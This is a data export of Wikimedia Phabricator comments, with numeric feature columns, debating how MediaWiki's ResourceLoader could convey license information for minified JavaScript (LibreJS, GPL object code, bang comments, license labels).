935271,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Also, fsf used a patch like it, but not anymore.",,,1506114554,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9230769230769231,"Also, fsf used a patch like it, but not anymore."
935272,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"@MaxSem, I should have said, it's a non-source form, aka object code, as gpl v3 defines it. often referred to as a binary.",,,1506114589,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,9.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.25,0.78125,"SCREEN_NAME, I should have said, it's a non-source form, aka object code, as gpl v3 defines it. often referred to as a binary."
935270,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"@MaxSem, I should have said, it's a non-source form, aka object code, as gpl v3 defines it. often referred to as a binary form.",,,1506114498,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,9.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.7575757575757576,"SCREEN_NAME, I should have said, it's a non-source form, aka object code, as gpl v3 defines it. often referred to as a binary form."
935266,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,Minified JS is not binary code.,,,1506114207,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,Minified JS is not binary code.
935267,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"@MaxSem, Other than the attribution issue, I doubt it.
It's minified js (ie. binary code) that had no license notice at all, but it's all from
gplv3 compatible source code. I'll fix the attribution problem.",,,1506114255,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,10.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,6.0,12.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.63265306122449,0.7346938775510204,"SCREEN_NAME, Other than the attribution issue, I doubt it.
It's minified js (ie. binary code) that had no license notice at all, but it's all from
gplv3 compatible source code. I'll fix the attribution problem."
935264,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"MaxSem, I'm not sure about the attribution issue, but otherwise, very doubtful.
It's minified js (ie. binary code) that had no license notice at all, but it's all from
gplv3 compatible source code.",,,1506114125,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,4.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5531914893617023,0.7872340425531915,"MaxSem, I'm not sure about the attribution issue, but otherwise, very doubtful.
It's minified js (ie. binary code) that had no license notice at all, but it's all from
gplv3 compatible source code."
930888,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Ugh, that patch is a copyright violation itself: it assigns a GPL header (and a wrong version of GPL, not used by MW) to code that may come under a different license (for example, we use jQuery which comes under MIT), and assigns it to an nonexistent ""Mediawiki Foundation"", ignoring real authors' copyrights.",,,1505431250,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,211,True,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,10.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,10.0,12.0,0.0,4.0,0.0,6.0,0.0,3.0,7.0,1.0,1.0,0.0,0.0,0.0,3.8358208955223883,0.746268656716418,"Ugh, that patch is a copyright violation itself: it assigns a GPL header (and a wrong version of GPL, not used by MW) to code that may come under a different license (for example, we use jQuery which comes under MIT), and assigns it to an nonexistent ""Mediawiki Foundation"", ignoring real authors' copyrights."
842650,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"For people coming to this issue from google, etc. In the meantime until this is resolved, fsf has patched their instances to mostly satisfy librejs through a bit of a hack by inserting license info into every page, their instances are around 1.25 and 1.23. I made my own patch to do the same on mediawiki 1.28, at https://iankelling.org/git/?p=mediawiki-librejs-patch;a=tree
",,,1492148598,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,189,True,2.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,21.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,6.0,21.0,5.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,3.9393939393939394,0.8333333333333334,"For people coming to this issue from google, etc. In the meantime until this is resolved, fsf has patched their instances to mostly satisfy librejs through a bit of a hack by inserting license info into every page, their instances are around 1.25 and 1.23. I made my own patch to do the same on mediawiki 1.28, at URL
"
842649,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"For people coming to this issue from google, etc. In the meantime until this is resolved, fsf has patched their instances to mostly satisfy librejs through a bit of a hack by inserting license info into every page, their instances are aroun 1.25 and 1.23. I made my own patch to do the same on mediawiki 1.28, at https://iankelling.org/git/?p=mediawiki-librejs-patch;a=tree
",,,1492148541,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,189,True,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,20.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,6.0,20.0,5.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,3.9242424242424243,0.8333333333333334,"For people coming to this issue from google, etc. In the meantime until this is resolved, fsf has patched their instances to mostly satisfy librejs through a bit of a hack by inserting license info into every page, their instances are aroun 1.25 and 1.23. I made my own patch to do the same on mediawiki 1.28, at URL
"
763553,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"I agree with @MarkAHershberger 's comment earlier. The ""license labels"" approach is much more realistic. It's also a widely adopted principle in many other contexts as well. I'll name some examples below.

We should not pursue the endless rabbit hole of adding comments everywhere, or refactoring our minification pipeline to group similarly licensed chunks together.

Examples of the separate label pointers:

* Binary files, images, SVGs, HTML files etc. typically don't have a license included in the file, but rather are distributed with a separate license file that is ""discoverable through an appropiate interface"".
* For a public server directory (or zip file) this is typically a file in the same directory, or index page footer, that one would naturally see.
* jQuery git repositories have adopted the pragmatic principle of not putting license headers on every single file. A LICENSE file in the repository root suffices.
* Chromium ships lots of compiled and uncompiled scripts and freely licensed interface components. Licenses are exposed via a special panel in the application settings dialog.

Worrying about people copying individual files without looking is imho an inherently invalid use case. More likely they'll copy just a few functions without looking. Should we start prefixing every single line of our program with a license indication just to be sure?

```lang=php
/*! @license .. */ class Everything {
/*! @license .. */   public function random() {
/*! @license .. */     return 42;
/*! @license .. */   }
/*! @license .. */ }
```

Back to the label pointers. I think the closest thing to a page with license labels is our very own Special:Version. We can build on that to fill any gaps.",,,1479497849,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,True,,,168,True,2.3333333333333335,0.0,0.3333333333333333,0.6666666666666666,1.0,8.666666666666666,1.3333333333333333,0.0,0.0,0.0,2.3333333333333335,1.0,0.0,0.0,0.0,3.0,0.3333333333333333,8.333333333333334,9.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,4.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,2.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,22.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,7.333333333333333,2.6666666666666665,7.666666666666667,0.3333333333333333,2.0,9.333333333333334,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,9.0,2.0,0.3333333333333333,1.3333333333333333,0.0,4.0,0.0,0.3333333333333333,4.0,0.0,2.6666666666666665,1.0,0.3333333333333333,0.6666666666666666,4.377104377104377,0.7508417508417509,"I agree withSCREEN_NAME 's comment earlier. The ""license labels"" approach is much more realistic. It's also a widely adopted principle in many other contexts as well. I'll name some examples below.

We should not pursue the endless rabbit hole of adding comments everywhere, or refactoring our minification pipeline to group similarly licensed chunks together.

Examples of the separate label pointers:

* Binary files, images, SVGs, HTML files etc. typically don't have a license included in the file, but rather are distributed with a separate license file that is ""discoverable through an appropiate interface"".
* For a public server directory (or zip file) this is typically a file in the same directory, or index page footer, that one would naturally see.
* jQuery git repositories have adopted the pragmatic principle of not putting license headers on every single file. A LICENSE file in the repository root suffices.
* Chromium ships lots of compiled and uncompiled scripts and freely licensed interface components. Licenses are exposed via a special panel in the application settings dialog.

Worrying about people copying individual files without looking is imho an inherently invalid use case. More likely they'll copy just a few functions without looking. Should we start prefixing every single line of our program with a license indication just to be sure?

``CODE``

Back to the label pointers. I think the closest thing to a page with license labels is our very own Special:Version. We can build on that to fill any gaps."
642379,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"I agree with @MarkAHershberger 's comment earlier. The ""license labels"" approach is much more realistic. It's also a widely adopted principle in many other contexts as well. I'll name some examples below.

We should not pursue the endless rabbit hole of adding comments everywhere, or refactoring our minification pipeline to group similarly licensed chunks together. I can't express the depths and the levels of how ridiculous that would be.

Examples of the separate label pointers:

* Binary files, images, SVGs, HTML files etc. typically don't have a license included in the file, but rather are distributed with a separate license file that is ""discoverable through an appropiate interface"".
* For a public server directory (or zip file) this is typically a file in the same directory, or index page footer, that one would naturally see.
* jQuery git repositories have adopted the pragmatic principle of not putting license headers on every single file. A LICENSE file in the repository root suffices.
* Chromium ships lots of compiled and uncompiled scripts and freely licensed interface components. Licenses are exposed via a special panel in the application settings dialog.

Worrying about people copying individual files without looking is imho an inherently invalid use case. More likely they'll copy just a few functions without looking. Should we start prefixing every single line of our program with a license indication just to be sure?

```lang=php
/*! @license .. */ class Everything {
/*! @license .. */   public function random() {
/*! @license .. */     return 42;
/*! @license .. */   }
/*! @license .. */ }
```

Back to the label pointers. I think the closest thing to a page with license labels is our very own Special:Version. We can build on that to fill any gaps.",,,1460073977,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,True,,,136,True,2.0,0.0,0.25,0.5,1.0,7.25,1.25,0.0,0.0,0.0,1.75,1.0,0.0,0.0,0.0,2.75,0.25,7.25,7.75,0.0,0.75,0.5,0.0,0.0,0.25,0.25,0.0,0.25,0.25,1.0,0.25,3.25,0.5,0.25,1.0,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.25,1.75,0.0,0.5,0.0,0.25,0.25,18.0,0.25,0.25,0.0,1.25,0.0,0.25,0.25,0.25,0.0,0.0,0.25,1.0,0.0,0.0,0.0,0.25,0.0,6.25,2.5,6.5,0.5,1.75,8.25,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.75,7.75,1.75,0.25,1.0,0.0,3.75,0.0,0.5,3.25,0.0,2.25,0.75,0.25,0.5,4.34733041220383,0.7889078221356702,"I agree withSCREEN_NAME 's comment earlier. The ""license labels"" approach is much more realistic. It's also a widely adopted principle in many other contexts as well. I'll name some examples below.

We should not pursue the endless rabbit hole of adding comments everywhere, or refactoring our minification pipeline to group similarly licensed chunks together. I can't express the depths and the levels of how ridiculous that would be.

Examples of the separate label pointers:

* Binary files, images, SVGs, HTML files etc. typically don't have a license included in the file, but rather are distributed with a separate license file that is ""discoverable through an appropiate interface"".
* For a public server directory (or zip file) this is typically a file in the same directory, or index page footer, that one would naturally see.
* jQuery git repositories have adopted the pragmatic principle of not putting license headers on every single file. A LICENSE file in the repository root suffices.
* Chromium ships lots of compiled and uncompiled scripts and freely licensed interface components. Licenses are exposed via a special panel in the application settings dialog.

Worrying about people copying individual files without looking is imho an inherently invalid use case. More likely they'll copy just a few functions without looking. Should we start prefixing every single line of our program with a license indication just to be sure?

``CODE``

Back to the label pointers. I think the closest thing to a page with license labels is our very own Special:Version. We can build on that to fill any gaps."
641650,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"I agree with @MarkAHershberger 's comment earlier. The ""license labels"" approach is much more realistic. It's also a widely adopted principle in many other contexts as well. I'll name some examples below.

We should not pursue the endless rabbit hole of adding comments everywhere, or refactoring our minification pipeline to group similarly licensed chunks together. I can't express the depths and the levels of how ridiculous that would be.

Examples of the separate label pointers:

* Binary files, images, SVGs, HTML files etc. typically don't have a license included in the file, but rather are distributed with a separate license file that is ""discoverable through an appropiate interface"".
* For a public server directory (or zip file) this is typically a file in the same directory, or index page footer, that one would naturally see.
* jQuery git repositories have adopted the pragmatic principle of not putting license headers on every single file. A LICENSE file in the repository root suffices.
* Chromium ships lots of compiled and uncompiled scripts and freely licensed interface components. Licenses are exposed via a special panel in the application settings dialog.

Worrying about people copying individual files without looking is imho an inherently invalid use case. More likely they'll copy just a few functions without looking. Should we start prefixing every single line of our program with a license indication just to be sure?

```lang=php
/*! @license .. */ class Everything {
/*! @license .. */   public function random() {
/*! @license .. */     return 42;
/*! @license .. */   }
/*! @license .. */ }
```

(Does look cute!)

Back to the label pointers. I think the closest thing to a page with license labels is our very own Special:Version. We can build on that to fill any gaps.",,,1459976666,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,True,,,136,True,2.0,0.0,0.25,0.5,1.0,7.5,1.0,0.0,0.0,0.0,1.75,1.0,0.0,0.0,0.0,2.75,0.25,7.0,7.5,0.0,0.5,0.5,0.0,0.0,0.25,0.25,0.0,0.25,0.25,1.0,0.25,3.5,0.5,0.25,1.0,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.25,1.5,0.0,0.5,0.0,0.25,0.25,17.75,0.25,0.25,0.0,1.5,0.0,0.25,0.25,0.25,0.0,0.0,0.25,1.0,0.0,0.0,0.0,0.25,0.0,6.25,2.25,6.75,0.5,1.75,8.25,0.0,0.0,0.25,0.0,3.5,0.0,0.0,0.0,3.75,7.5,1.5,0.25,1.0,0.0,3.75,0.0,0.5,3.25,0.0,2.0,0.75,0.25,0.5,4.3062499999999995,0.7843749999999999,"I agree withSCREEN_NAME 's comment earlier. The ""license labels"" approach is much more realistic. It's also a widely adopted principle in many other contexts as well. I'll name some examples below.

We should not pursue the endless rabbit hole of adding comments everywhere, or refactoring our minification pipeline to group similarly licensed chunks together. I can't express the depths and the levels of how ridiculous that would be.

Examples of the separate label pointers:

* Binary files, images, SVGs, HTML files etc. typically don't have a license included in the file, but rather are distributed with a separate license file that is ""discoverable through an appropiate interface"".
* For a public server directory (or zip file) this is typically a file in the same directory, or index page footer, that one would naturally see.
* jQuery git repositories have adopted the pragmatic principle of not putting license headers on every single file. A LICENSE file in the repository root suffices.
* Chromium ships lots of compiled and uncompiled scripts and freely licensed interface components. Licenses are exposed via a special panel in the application settings dialog.

Worrying about people copying individual files without looking is imho an inherently invalid use case. More likely they'll copy just a few functions without looking. Should we start prefixing every single line of our program with a license indication just to be sure?

``CODE``

(Does look cute!)

Back to the label pointers. I think the closest thing to a page with license labels is our very own Special:Version. We can build on that to fill any gaps."
498403,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"All known discussion and progress is in (or linked in) the comments of this task. :) 
Age of a task is rather irrelevant, but if you have specific questions please ask them here!",,,1438108672,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,True,,,99,True,3.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,3.0,3.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,3.0,8.0,10.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.7435897435897436,0.8974358974358975,"All known discussion and progress is in (or linked in) the comments of this task. :) 
Age of a task is rather irrelevant, but if you have specific questions please ask them here!"
498378,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Hi, I'm curious, what is the state of things regarding this bug? It's been three years since it was reported.",,,1438106278,,PHID-USER-ccxbypubopjbxwaahew3,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,99,True,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,12.0,8.0,0.0,4.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.4615384615384617,0.9615384615384616,"Hi, I'm curious, what is the state of things regarding this bug? It's been three years since it was reported."
177604,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Change 153573 abandoned by Tim Starling:
In minifier, preserve comments that start with /*!

Reason:
Per Krinkle

https://gerrit.wikimedia.org/r/153573",,,1408091698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,50,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.8888888888888888,"Change 153573 abandoned by Tim Starling:
In minifier, preserve comments that start with /*!

Reason:
Per Krinkle

GERRIT_URL"
177597,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Fantastic! Thanks Tim!

Looks like support for (2) in Comment 14 is now handled. As Tim says in his commit log, all we're missing is adding comment information inside ""bang comments"" to the Javascript files that ship with Mediawiki. I think the only reasonable thing to assume is that, unless they are marked oherwise, any Javascript in Mediawiki should be under the same license at Mediawiki itself.

Once this has gone through, I can try to ensure that MediaWiki:Common.js is appropriated labeled.",,,1407875176,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,49,True,1.5,0.0,0.0,2.5,0.0,3.5,2.0,0.0,0.0,1.0,2.5,0.5,0.0,1.0,0.0,2.0,0.0,2.5,13.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,7.5,3.0,1.0,2.5,0.0,0.0,0.0,3.0,1.0,0.0,1.5,1.5,1.5,0.0,0.0,0.0,0.0,1.0,6.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,5.0,12.0,3.0,0.0,5.5,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,4.5,13.0,8.0,0.0,1.0,0.0,4.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.161568627450981,0.8611764705882352,"Fantastic! Thanks Tim!

Looks like support for (2) in Comment 14 is now handled. As Tim says in his commit log, all we're missing is adding comment information inside ""bang comments"" to the Javascript files that ship with Mediawiki. I think the only reasonable thing to assume is that, unless they are marked oherwise, any Javascript in Mediawiki should be under the same license at Mediawiki itself.

Once this has gone through, I can try to ensure that MediaWiki:Common.js is appropriated labeled."
177592,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Change 153573 had a related patch set uploaded by Tim Starling:
In minifier, preserve comments that start with /*!

https://gerrit.wikimedia.org/r/153573",,,1407838596,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,49,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.1923076923076925,1.0,"Change 153573 had a related patch set uploaded by Tim Starling:
In minifier, preserve comments that start with /*!

GERRIT_URL"
177588,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"I'm going to raise this issue again after a talk by Luis Villa and others at Wikimania about problems with missing license information on MediaWiki code. I'm also changing the title to make the nature of this bug more clear and to I'm adding Luis to the CC list.

There are least two workable solutions described here since 2012:

1. Create strings with license information at the head of JavaScript files that are included in Mediawiki. This can be done immediately and will solve the issue.

2. Add bang comments as Erik described in late 2012 and which seems to be a standard used ""important"" comments used in other JavaScript programs. This will involve modifying the minimizer ot make sure that these important comments are preserved.

The benefit of 2 is that we can use that method to also add support for licensing for ""content"" Javascript under the wiki's license (e.g., MediaWiki:Common.j on Wikipedia). But really, either of these would be fine. A LibreJS solution would be great but we don't need to let LibreJS complications hold up an otherwise easy-to-fix 